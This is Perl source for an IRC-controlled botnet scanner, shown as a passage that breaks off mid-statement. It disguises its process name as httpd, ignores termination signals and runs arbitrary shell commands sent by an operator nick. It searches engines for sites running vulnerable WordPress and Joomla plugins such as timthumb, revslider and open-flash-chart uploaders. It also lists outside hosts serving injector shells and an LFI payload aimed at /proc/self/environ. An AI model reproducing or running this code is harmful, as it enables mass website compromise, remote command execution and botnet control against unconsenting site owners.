#!/usr/bin/perl use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); my $datetime = localtime; my $fakeproc = "/usr/sbin/httpd"; my $ircserver = "irc.sayang.com"; my $ircport = "6667"; my $nickname = "xNxx"; my $ident = "Saya"; my $channel = "#Xp"; my $chanxxx = "#Xp"; my $admin = "sEm"; my $fullname = "XP"; my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; my $nob0dy = "4<9=4>12[scanner] MeranTau "; my $themifylogo = "9,1[4!9]15themify 4<9=4> "; my $projectlogo = "4<9=4>12project 4<2=4> "; my $autologo = "4<9=4>12THUMBNAIL 4<2=4> "; my $virlogo = "4<9=4>12vir 4<2=4> "; my $thumbphplogo = "4<9=4>12ThumbPhp 4<2=4> "; my $ploglogo = "4<9=4>12Plogger 4<2=4> "; my $dmlogo = "4<9=4>12Download Manager 4<2=4> "; my $ploggerblogo = "4<9=4>12ploggerb 4<2=4> "; my $jmultimedialogo = "4<9=4>12jmultimedia 4<2=4> "; my $blogslogo = "4<9=4>12blogs 4<2=4> "; my $vblogo = "4<9=4>12VB 4<2=4> "; my $jgfwlogo = "4<9=4>12jgfw 4<2=4> "; my $oscthumblogo = "4<9=4>12oscthumb 4<2=4> "; my $eventlogo = "4<9=4>12event 4<2=4> "; my $skyfashionlogo = "4<9=4>12skyfashion 4<2=4> "; my $ojslogo = "4<9=4>12OJS 4<2=4> "; my $pricerrlogo = "4<9=4>12pricerr 4<2=4> "; my $coldFusionlogo = "4<9=4>12coldFusion 4<2=4> "; my $coldFusion1logo = "4<9=4>12coldFusion1 4<2=4> "; my $alphauserpointslogo = "4<9=4>12alphauserpoints 4<2=4> "; my $thumblogo = "4<9=4>12TimThumb 4<2=4> "; my $revsliderlogo = "4<9=4>12revslider 4<2=4> "; my $showbizlogo = "4<9=4>12showbiz 4<2=4> "; my $portfoliologo = "4<9=4>12portfolio 4<2=4> "; my $oboklogo = "4<9=4>12OBOK 4<2=4> "; my $reveditlogo = "4<9=4>12revedit 4<2=4> "; my $ytlogo = "4<9=4>12YT 4<2=4> "; my $joomleaguelogo = "4<9=4>12joomleague 4<2=4> "; my $ketumbarlogo = "4<9=4>12ketumbar 4<2=4> "; my $boxlogo = "4<9=4>12box 4<2=4> "; my $rokboxlogo = "4<9=4>12rokbox 4<2=4> "; my $rcilogo = "4<9=4>12rci 4<2=4> "; my $sempaklogo = "4<9=4>124<2=4> "; my $Flutterlogo = "4<9=4>12Flutter 4<2=4> "; my $comfylogo = "4<9=4>12comfy 4<2=4> "; my $villagelogo = "4<9=4>12village 4<2=4> "; my $Elegantlogo = "4<9=4>12Elegant 4<2=4> "; my $snippetslogo = "4<9=4>12snippets 4<2=4> "; my $phpthumblogo = "4<9=4>12phpthumb 4<2=4> "; my $zogologo = "4<9=4>12zogo 4<2=4> "; my $phpthumb1logo = "4<9=4>12phpthumb1 4<2=4> "; my $phpthumb2logo = "4<9=4>12mambots 4<2=4> "; my $alphacontentlogo = "4<9=4>12alphacontent 4<2=4> "; my $wpmaxlogo = "4<9=4>12wpmax 4<2=4> "; my $freshpagelogo = "4<9=4>12freshpage 4<2=4> "; my $mk4logo = "4<9=4>12mk4 4<2=4> "; my $comfy1logo = "4<9=4>12comfyplus 4<2=4> "; my $wpremix3logo = "4<9=4>12wpremix3 4<2=4> "; my $joomlalogo = "4<9=4>12DBjoomla 4<2=4> "; my $wordpresslogo = "4<9=4>12DBword 4<2=4> "; my $charcoallogo = "4<9=4>12charcoal 4<2=4> "; my $magentologo = "4<9=4>12magento 4<2=4> "; my $cameleonlogo = "4<9=4>12cameleon 4<2=4> "; my $picalogo = "4<9=4>12pica 4<2=4> "; my $testinglogo = "4<9=4>12testing 4<2=4> "; my $thegalaulogo = "4<9=4>12thegalau 4<2=4> "; my $zionislogo = "4<9=4>12zionis 4<2=4> "; my $bazarlogo = "9,1[4!9]15bazar 4<9=4> "; my $avlogo = "9,1[4!9]15Av 4<9=4> "; my $pluploadlogo = "4<9=4>12plupload 4<2=4> "; my $timtestlogo = "4<9=4>12timtest 4<2=4> "; my $ampluslogo = "4<9=4>12amplus 4<2=4> "; my $evolvelogo = "4<9=4>12evolve 4<2=4> "; my $valumslogo = "4<9=4>12valums 4<2=4> "; my $rfilogo = "4<9=4>12RFI 4<2=4> "; my $valums2logo = "4<9=4>12valums2 4<2=4> "; my $orangelogo = "4<9=4>12orange 4<2=4>"; my $satoshilogo = "4<9=4>12satoshi 4<2=4> "; my $headwaylogo = "4<9=4>12Headway 4<2=4> "; my $hwdlogo = "4<9=4>12HWD 4<2=4> "; my $ghostlogo = "4<9=4>12Ghost 4<2=4> "; my $pitchprintlogo = "4<9=4>12pitchprint 4<2=4> "; my $rightnowlogo = "4<9=4>12RightNow 4<2=4> "; my $magmilogo = "4<9=4>12MagMi 4<2=4> "; my $leonlogo = "4<9=4>12leon 4<2=4> "; my $assetslogo = "4<9=4>12assets 4<2=4>"; my $assets1logo = "4<9=4>12assets1 4<2=4>"; my $fluidformslogo = "4<9=4>12fluidforms 4<2=4> "; my $strangelogo = "4<9=4>12strange 4<2=4> "; my $formcraftlogo = "4<9=4>12formcraft 4<2=4> "; my $timlogo = "4<9=4>12tim 4<2=4> "; my $designlogo = "4<9=4>12design 4<2=4>"; my $melroselogo = "4<9=4>12melrose 4<2=4> "; my $nevadalogo = "4<9=4>12Nevada 4<2=4> "; my $cuckoobizzlogo = "4<9=4>12cuckoobizz 4<2=4> "; my $avadalogo = "4<9=4>12Avada 4<2=4> "; my $adsmanagerlogo = "4<9=4>12adsmanager 4<2=4> "; my $rxlogo = "4<9=4>12RX 4<2=4> "; my $jcelogo = "4<9=4>12JcE 4<2=4> "; my $strikinglogo = "4<9=4>12Striking 4<2=4> "; my $ccflogo = "4<9=4>12CCF 4<2=4> "; my $sexlogo = "4<9=4>12Sex 4<2=4> "; my $carilogo = "9,1[4!9]15Find 4<2=4> "; my $skyfashioncmd = "!sky"; my $thumbcmd = "!tum"; my $projectcmd = "!proj"; my $pricerrcmd = "!pr"; my $themifycmd = "!temi"; my $thumbphpcmd = "!thumbphp"; my $obokcmd = "!obok"; my $oscthumbcmd = "!osc"; my $jgfwcmd = "!jg"; my $ytcmd = "!yt"; my $ploggerbcmd = "!plogb"; my $jmultimediacmd = "!jmu"; my $blogscmd = "!blogs"; my $plogcmd = "!plog"; my $dmcmd = "!dm"; my $comfy1cmd = "!comfy1"; my $bazarcmd = "!zar"; my $zogocmd = "!zogo"; my $avcmd = "!v"; my $zioniscmd = "!zionis"; my $boxcmd = "!box"; my $vbcmd = "!vb"; my $eventcmd = "!event"; my $charcoalcmd = "!col"; my $coldFusioncmd = "!cold"; my $coldFusion1cmd = "!cold1"; my $snippetscmd = "!sp"; my $ampluscmd = "!amp"; my $showbizcmd = "!show"; my $wpmaxcmd = "!max"; my $autocmd = "!at"; my $reveditcmd = "!revedit"; my $hwdcmd = "!hwd"; my $rficmd = "!rfi"; my $alphauserpointscmd = "!alus"; my $ketumbarcmd = "!bar"; my $mk4cmd = "!mk"; my $wpremix3cmd = "!remix"; my $joomleaguecmd = "!jm"; my $vircmd = "!vir"; my $portfoliocmd = "!po"; my $phpthumbcmd = "!php"; my $phpthumb1cmd = "!php1"; my $phpthumb2cmd = "!php2"; my $rokboxcmd = "!rok"; my $rightnowcmd = "!rn"; my $orangecmd = "!ot"; my $wordpresscmd = "!word"; my $Elegantcmd = "!ele"; my $sempakcmd = "!sempak"; my $freshpagecmd = "!fres"; my $pluploadcmd = "!pl"; my $Fluttercmd = "!flu"; my $ojscmd = "!ojs"; my $headwaycmd = "!hw"; my $picacmd = "!pica"; my $satoshicmd = "!shi"; my $evolvecmd = "!evo"; my $timtestcmd = "!timtest"; my $thegalaucmd = "!galau"; my $magentocmd = "!magento"; my $timcmd = "!tim"; my $joomlacmd = "!joomla"; my $cameleoncmd = "!came"; my $testingcmd = "!tes2"; my $nevadacmd = "!nev"; my $ghostcmd = "!gs"; my $comfycmd = "!comfy"; my $strangecmd = "!ut"; my $villagecmd = "!vi"; my $rcicmd = "!c7"; my $magmicmd = "!mg"; my $valumscmd = "!vl"; my $valums2cmd = "!vl2"; my $pitchprintcmd = "!pit"; my $leoncmd = "!lib"; my $fluidformscmd = "!ff"; my $alphacontentcmd = "!al"; my $revslidercmd = "!rev"; my $formcraftcmd = "!fc"; my $designcmd = "!dp"; my $melrosecmd = "!mel"; my $assetscmd = "!as"; my $assets1cmd = "!as1"; my $cuckoobizzcmd = "!biz"; my $avadacmd = "!av"; my $adsmanagercmd = "!ads"; my $rxcmd = "!rx"; my $jcecmd = "!jce"; my $strikingcmd = "!st"; my $ccfcmd = "!ccf"; my $sexcmd = "!sex"; my $cmdlfi = "!cmdlfi"; my $ftpcmd = "!ftpp"; my $botxx = "http://ariefdodi.com/wp-content/robo"; my $botshell = "http://www.webdetecnologia.com/wp-content/themes/twentyeleven/inc/dm.jpg"; my $timot = 10; my $silentmode = 1; my $hostinjector = "picasa.com.ferrarirent.be"; my $thumbid = "http://".$hostinjector."/pagat.php"; my $rfiid = "http://jwkitchens.com/wp-content/themes/Avada/js/pagat.jpg"; my $botdid = "http://".$hostinjector."/dm.php"; my $botxdid = "http://".$hostinjector."/win8.php"; my $thumbshell = uri_escape($thumbid); my $md5php = "159deec1be7b154e5ff2269e58be9af3.php"; my $md6php = md5_hex($thumbid).".php"; my $md5bot = md5_hex($botdid).".php"; my $md5botx = md5_hex($botxdid).".php"; my $botid = uri_escape($botdid); my $botxid = uri_escape($botxdid); my $uagent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"; sub randomagent { my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6', 'Mozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31' ); my $random = $array[rand @array]; return($random); } my $useragent = randomagent(); my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000"; my $jpath2 = "/wp-content/plugins/formidable/pro/js/"; my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q="; my $jack1 = "http://nespynten.no/wp-content/plugins/inc.php?q="; my $jack2 = "http://nespynten.no/wp-content/plugins/inc.php?q="; my $jack3 = "http://nespynten.no/wp-content/plugins/inc.php?q="; my $jack4 = "http://amoretto.eu/modules/pk_flexmenu/uploads/inc.php?q="; my $jack5 = "http://amoretto.eu/modules/pk_flexmenu/uploads/inc.php?q="; my $jack6 = "http://amoretto.eu/modules/pk_flexmenu/uploads/inc.php?q="; my $jack7 = "http://ock.e-orawa.pl/components/com_docman/inc.php?q="; my $jack8 = "http://ock.e-orawa.pl/components/com_docman/inc.php?q="; my $jack9 = "http://ock.e-orawa.pl/components/com_docman/inc.php?q="; my $jack10 = "http://ldsdesign.net/modules/exmenu/inc.php?q="; my $jack11 = "http://ldsdesign.net/modules/exmenu/inc.php?q="; my $jack12 = "http://ldsdesign.net/modules/exmenu/inc.php?q="; my $jack13 = "http://www.siduo.com.tw/mambots/search/inc.php?q="; my $jack14 = "http://www.siduo.com.tw/mambots/search/inc.php?q="; my $jack15 = "http://www.siduo.com.tw/mambots/search/inc.php?q="; my $jack16 = "http://www.szynaka-living.com/mambots/content/geshi/inc.php?q="; my $jack17 = "http://www.szynaka-living.com/mambots/content/geshi/inc.php?q="; my $jack18 = "http://www.szynaka-living.com/mambots/content/geshi/inc.php?q="; my $jack19 = "http://www.epco.pl/mambots/search/inc.php?q="; my $jack21 = "http://www.epco.pl/mambots/search/inc.php?q="; my $jack22 = "http://www.epco.pl/mambots/search/inc.php?q="; my $jack23 = "http://www.lighthousesignals.org/components/com_contact/inc.php?q="; my $jack24 = "http://www.lighthousesignals.org/components/com_contact/inc.php?q="; my $engine = "Pagatcom,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,AC,AD,AE,AF,AG,AL,AM,AN,AT,AR,AU,BE,HU,OrG,CoM,NeT,PL,IT,ID,MY,ES,UK,US,JP,XXX,TEL,TV,CC,MIL,ASIA,NAME,PRO,TRAVEL,JOBS,MOBI,AERO,CAT,COOP,EDU,GOV,MUSEUM,KR,DE,DK,CA,BR,RO,RU,NL,InfO,FR,IN,MX,CZ,CL,UA,CN,IR,TH,EU,PH,IL,IM,SI,BIZ,AS,AI,AG,AZ,BH,BD,BZ,BO,BA,BW,VG,BG,BI,CO,CD,CG,CK,CR,HR,CU,CI,DJ,DM,DO,EC,EG,SV,EE,ET,FJ,FI,GM,GI,GR,GL,GT,GG,HT,HN,HK,IS,IE,IM,JE,JO,KZ,KE,KG,LV,LS,LY,LI,LT,LU,MW,MT,MU,FM,MN,MS,MA,NA,NP,NZ,NI,NF,NO,OM,PK,PA,PY,PE,PN,PT,PR,QA,RW,SH,SM,SA,SN,SC,SG,SK,ZA,LK,VC,SE,CH,TW,TJ,BS,TO,TT,TR,TM,VI,UG,UY,UZ,VE,VN,ZM,WS,AF,AX,AL,DZ,AO,AQ,AM,AW,AC,BJ,BM,BT,BW,IO,BN,BF,KH,CM,CV,KY,CF,CX,CW,CY,FK,FO,GH,GD,GP,GU,GN,GY,HM,IQ,JM,KI,KW,LA,LB,LR,MO,MG,MV,MP,MQ,MR,YT,MD,MC,ME,MZ,NR,NC,NG,NU,PW,PS,CQ,RE,LC,PM,ST,RS,GS,SL,SX,SB,SO,SU,KN,SR,SZ,TZ,TL,TG,TK,TN,TC,VU,WF,YW,ZW,GooGLe,Yahoo2,KvaSiR,QuinT,Pagina,Clix,ask2,WaLLa,YaHoo,AsK,Bing,OnEt,CLusTy,SaPo,AoL,UoL,LyCos,HotBot,BigLobe,SeZNam,webcrawler,clusty,witch,amidalla,gibla,mywebsearch,dogpile,infocom,searchcom,teoma,volunia,becak,bokep,searchnz"; my @bugsx = ('/timthumb.php','/thumb.php','/timthumbs.php','/thumbs.php','/timthumb_ws.php','/timthumb/timthumb_ws.php','/thumbnail.php','/thumbnails.php','/thumnails.php','/cropper.php','/picsize.php','/resizer.php','/thumbopen.php','/phpThumb.php','/img.php','/thumbs/_tbs.php','/functions/phpThumb.php','/functions/scripts/phpThumb.php','/functions/timthumb/phpThumb.php','/framework/includes/phpThumb.php','/framework/thumb/phpThumb.php','/scripts/phpThumb.php','/scripts/phpThumb/phpThumb.php','/scripts/timthumb/phpThumb.php','/scripts/thumb/phpThumb.php','/lib/phpThumb.php','/lib/script/phpThumb.php','/lib/thumb/phpThumb.php','/lib/timthumb/phpThumb.php','/inc/phpThumb.php','/includes/phpThumb.php','/includes/thumb/phpThumb.php','/includes/timthumb/phpThumb.php','/library/phpThumb.php','/library/thumb/phpThumb.php','/library/resource/phpThumb.php','/library/timthumb/phpThumb.php','/library/functions/phpThumb.php','/modules/phpThumb.php','/images/phpThumb.php','/phpthumb/phpThumb.php','/layouts/phpThumb.php','/phpThumb/phpThumb.php','/thumb/phpThumb.php','/timThumb/phpThumb.php','/timthumb/phpThumb.php','/tools/phpThumb.php','/tools/timthumb/phpThumb.php','/tools/thumb/phpThumb.php','/options/phpThumb.php','/js/phpThumb.php','/theme/classes/timthumb.php','/theme/classes/thumb.php','/classes/timthumb.php','/classes/thumb.php','/functions/timthumb.php','/functions/thumb.php','/functions/scripts/timthumb.php','/functions/scripts/thumb.php','/functions/timthumb/timthumb.php','/functions/timthumb/thumb.php','/functions/img_resize/timthumb.php','/functions/img_resize/thumb.php','/framework/includes/timthumb.php','/framework/includes/thumb.php','/framework/thumb/timthumb.php','/framework/thumb/thumb.php','/scripts/timthumb.php','/scripts/thumb.php','/scripts/timthumb/timthumb.php','/scripts/timthumb/thumb.php','/scripts/thumb/timthumb.php','/scripts/thumb/thumb.php','/lib/timthumb.php','/lib/thumb.php','/lib/script/timthumb.php','/lib/script/thumb.php','/lib/thumb/timthumb.php','/lib/thumb/thumb.php','/lib/timthumb/timthumb.php','/lib/timthumb/thumb.php','/lib/custom/timthumb.php','/lib/custom/thumb.php','/utils/timthumb.php','/utils/thumb.php','/lib/utils/timthumb.php','/lib/utils/thumb.php','/libraries/timthumb.php','/libraries/thumb.php','/inc/timthumb.php','/inc/thumb.php','/includes/timthumb.php','/includes/thumb.php','/includes/thumb/timthumb.php','/includes/thumb/thumb.php','/includes/timthumb/timthumb.php','/includes/timthumb/thumb.php','/library/timthumb.php','/library/thumb.php','/library/thumb/timthumb.php','/library/thumb/thumb.php','/library/resource/timthumb.php','/library/resource/thumb.php','/library/timthumb/timthumb.php','/library/timthumb/thumb.php','/library/functions/timthumb.php','/library/functions/thumb.php','/modules/timthumb.php','/modules/thumb.php','/images/timthumb.php','/images/thumb.php','/phpthumb/timthumb.php','/phpthumb/thumb.php','/layouts/timthumb.php','/layouts/thumb.php','/phpThumb/timthumb.php','/phpThumb/thumb.php','/php/timthumb.php','/php/thumb.php','/thumb/timthumb.php','/thumb/thumb.php','/timThumb/timthumb.php','/timThumb/thumb.php','/timthumb/timthumb.php','/timthumb/thumb.php','/tools/timthumb.php','/tools/thumb.php','/tools/timthumb/timthumb.php','/tools/timthumb/thumb.php','/tools/thumb/timthumb.php','/tools/thumb/thumb.php','/options/timthumb.php','/options/thumb.php','/js/timthumb.php','/js/thumb.php','/timthumb_old.php','/framework/timthumb_old.php'); my @jpaths = ('/wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart','/js','/libs','/wp-content/plugins/wp-slimstat-ex/lib/ofc','/civicrm/packages/OpenFlashChart','/openemr/library/openflashchart','/admin/plugins/videoReport/lib','/libs/open-flash-chart','/library/openflashchart','/wp-content/plugins/wp-seo-spy-google/ofc','/wp-content/plugins/chart','/administrator/components/com_acying/inc/openflash','/administrator/components/com_jinc/classes/graphics','/admin_area/charts','/utilities/charts'); my $galau = "/components/com_jnews/includes/openflashchart"; my $jvuln = "/php-ofc-library/ofc_upload_image.php"; my $jshell = "/tmp-upload-images/pagat.php"; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; #chdir("/"); $ircserver = "$ARGV[0]" if $ARGV[0]; $ircport = "$ARGV[1]" if $ARGV[1]; $nickname = "$ARGV[2]" if $ARGV[2]; $channel = '#'."$ARGV[3]" if $ARGV[3]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep(1);}} sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick($mynick.int(rand(5))); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +Bx"); sendraw("NS id qwe123"); sleep(3); sendraw("JOIN $channel correct"); sendraw("JOIN $chanxxx mejen"); sleep(1); sendraw("PRIVMSG $channel :9,1[4!9]15 scanner Recoding by sEm !!!"); sendraw("PRIVMSG $admin :Hi $admin im here...!!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey"); } if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); } if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); } if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$"); } if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } if (&isAdmin($nick) && $msg =~ /^!chtcmd\s+(.*) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newrevslidercmd = $1; $revslidercmd = $newrevslidercmd; &msg("$admin","$revslider9 Scan Command change to4 $revslidercmd "); }}} if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) { sendraw("$rawmsg $msgraw ".$1); } if (&isAdmin($nick) && $msg =~ /^!say (.+)/) { sendraw("PRIVMSG $rawmsg ".$1); } if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1.""); } if (&isAdmin($nick) && $msg =~ /^!timot\s+(.*) -d/) { $newtimot = $1; $timot = $newtimot; &msg("$admin","9,1 Get Content TimeOut change to4 $timot "); } if (&isAdmin($nick) && $msg =~ /^!chxchan\s+(.+) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $newchan = $1; $chanxxx = $newchan; &msg("$admin","9,1 xChan change to4 $chanxxx "); }}} } else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); } if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); } if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); } if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); } if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); } if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); } if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); } if (&isAdmin($nick) && $msg =~ /^!silent\s+(.*) -d/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { $smod = $1; if ($smod =~ /ON/) { $silentmode = 1; $silentstat = "ON"; } elsif ($smod =~ /OFF/) { $silentmode = 0; $silentstat = "OFF"; } &msg("$path","9,1[4!9]Silent Mode15 $silentstat !!!!"); }}} if ($msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){ my $url = $1.$lfdtest; my $cmd = $2; &cmdlfi($url,$cmd,$path); } ##################################################################### HELP COMMAND if ($msg=~ /^!help/) { &msg("$path","4$helplogo 4 wordpress Plugins n Themes by sEm"); my $helplogo = "9,1[4!9]15Help 4<9=4> "; &msg("$path","$helplogo9village Vuln Scan:15 $villagecmd [dork] "); &msg("$path","$helplogo9evolve Vuln Scan:15 $evolvecmd [dork] "); &msg("$path","$helplogo9Download Manager Vuln Scan:15 $dmcmd [dork] "); &msg("$path","$helplogo9valums Vuln Scan:15 $valumscmd [dork] "); &msg("$path","$helplogo9satoshi Vuln Scan:15 $satoshicmd [dork] "); &msg("$path","$helplogo9Elegant Vuln Scan:15 $Elegantcmd [dork] "); &msg("$path","$helplogo9headway Vuln Scan:15 $headwaycmd [dork] "); &msg("$path","$helplogo9ghost Vuln Scan:15 $ghostcmd [dork] "); &msg("$path","$helplogo9rightnow Vuln Scan:15 $rightnowcmd [dork] "); &msg("$path","$helplogo9magmi Vuln Scan:15 $magmicmd [dork] "); &msg("$path","$helplogo9orange Vuln Scan:15 $orangecmd [dork] "); &msg("$path","$helplogo9revslider Vuln Scan:15 $revslidercmd [dork] "); &msg("$path","$helplogo9wp_rokbox Vuln Scan:15 $rokboxcmd [dork] "); &msg("$path","$helplogo9com_portfolio Vuln Scan:15 $portfoliocmd [dork] "); &msg("$path","$helplogo9orange Vuln Scan:15 $orangecmd [dork] "); &msg("$path","$helplogo9Pitchprint Vuln Scan:15 $pitchprintcmd [dork] "); &msg("$path","$helplogo9Bazar Vuln Scan:15 $bazarcmd [dork] "); &msg("$path","$helplogo9amplus Vuln Scan:15 $ampluscmd [dork] "); &msg("$path","$helplogo9jquery-file-upload Vuln Scan:15 $assetscmd [dork] "); &msg("$path","$helplogo9com_adsmanager Vuln Scan:15 $adsmanagercmd [dork] "); &msg("$path","$helplogo9fluid_forms Vuln Scan:15 $fluidformscmd [dork] "); &msg("$path","$helplogo9formcraft Vuln Scan:15 $formcraftcmd [dork] "); &msg("$path","$helplogo9alphacontent Vuln Scan:15 $alphacontentcmd [dork] "); &msg("$path","$helplogo9wpremix3 Vuln Scan:15 $wpremix3cmd [dork] "); &msg("$path","$helplogo9mk4 Vuln Scan:15 $mk4cmd [dork] "); &msg("$path","$helplogo9wp-max Vuln Scan:15 $wpmaxcmd [dork] "); &msg("$path","$helplogo9ProjectTheme Vuln Scan:15 $projectcmd [dork] "); &msg("$path","$helplogo9pricerrTheme Vuln Scan:15 $pricerrcmd [dork] "); &msg("$path","$helplogo9fresh-page Vuln Scan:15 $freshpagecmd [dork] "); &msg("$path","$helplogo9snippets Vuln Scan:15 $snippetscmd [dork] "); &msg("$path","$helplogo9com_joomleague Vuln Scan:15 $joomleaguecmd [dork] "); &msg("$path","4$helplogo 4MeranTau"); } if (&isAdmin($nick) && $msg =~ /^!pid/) { &msg("$chan","6Fake Process/PID : $fakeproc - $$"); } if ($msg=~ /^!respon/ || $msg=~ /^!id/) { if (&isFound($thumbid,"GIF89")) { &msg("$path","9,1[4!9]Injector 4<9=4>9 Ready!!! "); } else { &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! "); } } ##################################################################### SCAN if ($msg =~ /!cari\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $find = $1; &msg($path,"$carilogo9 Searching 15$find "); &cari($path,$find); } exit; } } if ($msg =~ 